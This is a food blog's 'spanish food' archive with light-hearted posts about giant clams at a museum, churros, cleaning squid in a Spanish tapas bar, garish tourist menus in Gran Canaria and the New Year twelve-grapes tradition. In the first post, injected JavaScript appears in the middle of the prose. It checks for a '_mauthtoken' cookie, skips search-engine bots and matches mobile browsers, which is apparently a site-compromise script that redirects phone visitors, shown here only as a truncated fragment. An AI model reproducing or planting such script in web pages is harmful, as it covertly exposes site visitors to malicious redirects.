Category Archives: spanish food

That would be one gigantic paella

Cycled over to the Natural History Museum last weekend to see The Deep Sea exhibition. One thing struck me more than it probably should have: not only do giant squid exist, but so do giant clams. And giant mussels.

I have to admit I sank into a Homer Simpson-style drooling reverie (‘Mmm…’) upon learning this, imagining the new culinary horizons a haul like that would bring.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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The most fun you can have with a piping bag

Aah, I’ve been meaning to get round to these little he-devils for some time now. And what else was I going to do on another rainy Sunday afternoon?

These come courtesy of food writer, stylist and photographer Cannelle et Vanille and they work an absolute treat. I stuffed myself silly on the sofa, ignoring the thunder and pretending I was still in Spain (or perhaps I was hallucinating from the sugar).

Churros con chocolate

The one that got away... (technically a churro)

The chocolate bisque is the business here: heady hints of star anise, vanilla, coffee and orange enveloped in a rich, custardy chocolate. Too good to save until breakfast.

There are plenty more churros where these came from, and they’re heading for the table of our first pop-up restaurant soon. Get in on the brunch action via Rachel’s site. And be sure to pray for sunshine.

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The tale of the squid and the mop

Let me tell you a little story about my teuthiphobia, how it started and how it led on to ichthyophobia. To do this I need to take you back in time to 2005…

In the autumn of 2005 I upped sticks to Spain to take a chance on my holiday romance. I spoke extreme beginners’ Spanish and took the first job I was offered in a tapas bar called La Factoria. In my ‘interview’ I smiled a lot and explained that I is been a mop many time at England pubs. The bar owner, who either took pity on me or saw that I represented an as yet undiscovered mine of hilarity, signed me up on the spot.

What I’d intended to convey in my interview was that I’d worked as a washer-upper for years. I love washing up in restaurants. For greedy people like me, the networking opportunities are second-to-none. You make friends with the chefs and you’re made: first dibs on all leftover trays of dauphinoise potatoes, the chance to try new concoctions as they’re being created, and the biggest portions when you stop for a lunch break. What’s more, you get all the insider gossip, a radio to listen to, zero contact with bossy paying customers, and you can wear whatever you want.

In the five years I worked as a kitchen porter, peeling buckets of spuds, making up oceans of stock, washing up towers of greasy plates, picking enough fish bones out of the drain to make entire skeletons, and working my way through vats of prawns and squid, I never once had a freak-out.

So I thought I could handle La Factoria. They came on strong – had me crawling into their huge, filthy oven to scrape out the grime with industrial-strength products on day one, insisted I chop a huge pile of parsley more and more finely until my spirit almost broke on day two, and made me clean the customer loos at two in the morning at the end of all of my shifts. But I could take it.

During the day, the owner (and head chef) would make small talk with the sous-chef and I’d scrape up any conversational crumbs I could decipher. Occasionally I’d take a deep breath and blunder through the odd sentence or two. At those times, everyone would stop and watch me intently – and disconcertingly – as I spoke. When I’d finished, they would address me as – well, as an English person would address a non-English speaker – like an old lady who’s as deaf as a post.

During the evening, I learnt to keep my head down and wow them with my productivity. I was routinely trotted out by the head chef as an overseas curiosity, where I would smile and introduce myself as the new mop, but aside from that I kept myself to myself.

Then, just as I thought I was settling in and gaining the respect of my team, it happened. I’d been asked to clean a huge metal tray full of squid and got straight down to it, one by one: pull out the quill, rummage around for the beak, poke out the eyes, done, onto the next.

Soon I’d got about halfway through the squid mountain and was on autopilot, consumed by the task in hand. Quill, beak, eyes, next. Quill, beak, eyes, next. Quiiiiii…… Suddenly, before I could process what was happening, I was making a low, disgusted noise that was somewhere between a roar and a moan, the audible equivalent of the air you expel furiously from your contaminated nostrils after tentatively sniffing the ‘mud’ on the sole of your shoe. Before I knew it, the squid I’d picked up was sailing in a high and graceful arc across the kitchen, watched curiously by the head and sous-chefs. It thudded onto the floor and skidded into a corner, while we all stared after it open-mouthed.

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Egg on your face

There’s nothing more likely to make my appetite turn on its heels and effect a hasty exit than the sight of rows of tourist restaurants unflinchingly displaying their menu in chilling technicolour. Finger lickin’ it ain’t.

I generally avoid such places like the plague. Unfortunately, some resorts in Gran Canaria are, well, plagued by them. One day, with lead in my stomach, I was forced by hunger and lack of forethought to stop and try to digest something from the happy hour hub of the island. The burden fell to me to find the least terrifying restaurant option, a task so Herculean that it would have been easier to raze the place single-handedly and set up my own venture on the ruins.

What is the collective noun for a mass of unappetising eatery options? A gag of restaurants? And what criteria does one assess when choosing amongst them? Anybody already eating here, especially anyone apparently savouring their meal, had to be either addled by sunstroke or fundamentally lacking not only in taste but in taste buds. No restaurant was fuller than the others. The photos, like illustrative icebergs, revealed only a tenth of the awful might of the dishes.

We ended up plumping for a café whose menu told the story of an ovine invasion of Germany (all Frankfurter variations came with an optional fried egg). The dishes were, quite literally, a picture. We sat in the sun, surrounded by a gallery of food mug-shots: gastro-combos that could only have been photographed by a tripped-out student trying to recreate his hallucinations through the medium of food. Faces with frankfurter smiles gurned at us like Chuckie’s plainer siblings.

Bockwurst Kartoffelsalat (fried egg optional)

All together now: mmm...

The level of detail was breathtaking: eyes and eyebrows rendered in food; noses with nostrils. We wept.

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Ten out of twelve!

Roll on next year…

Having a grape time

A full house for the true professional

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Grape expectations

Here I am in the Canary Islands, visiting my boyfriend´s family. Tonight we´ll dine late, but it will be worth the wait: the big guns are coming out. Tonight it´s all about fresh langoustines, fillet steak, champagne, then traditional turrón and some rather moreish homemade biscotti that I brought along to accompany the coffee.

But I´m not writing this to boast about el papeazo que me voy a pegar, as they say here. The food-related curiosity I want to share will take place a little later. In Spain, it´s traditional to gobble up twelve grapes on the twelve strokes of midnight. Sounds easy, but it´s an art that´s difficult to master without choking or at least dribbling. Survivors get to welcome in the new year.

The first year I joined in with this locura I was a novice, confidence sky high, eyes bigger than my mouth, throat, gullet and stomach combined. Off we went: dong! One grape. Dong! Another. Dong! So far so good, although my jaw was working at double-dong speed and my mouth was still half-full of grapes. Dong! The fourth grape went in to replace what I´d swallowed. My first mistake (see below). Dong! At the fifth, I made the mistake of glancing at my boyfriend and his family (be warned: smiling is to chewing what chocolate is to the waistline). Dong! Smiling also induces dribbling… Dong! Now I was dribbling and being seen to be dribbling in front of a family I´d been hoping to impress. Dong! Getting the giggles is not going to help you at all, mi hija. Concentrate. Dong! And I was out of the race, still chewing frantically and gurning politely to stop any further juice haemorrhage.

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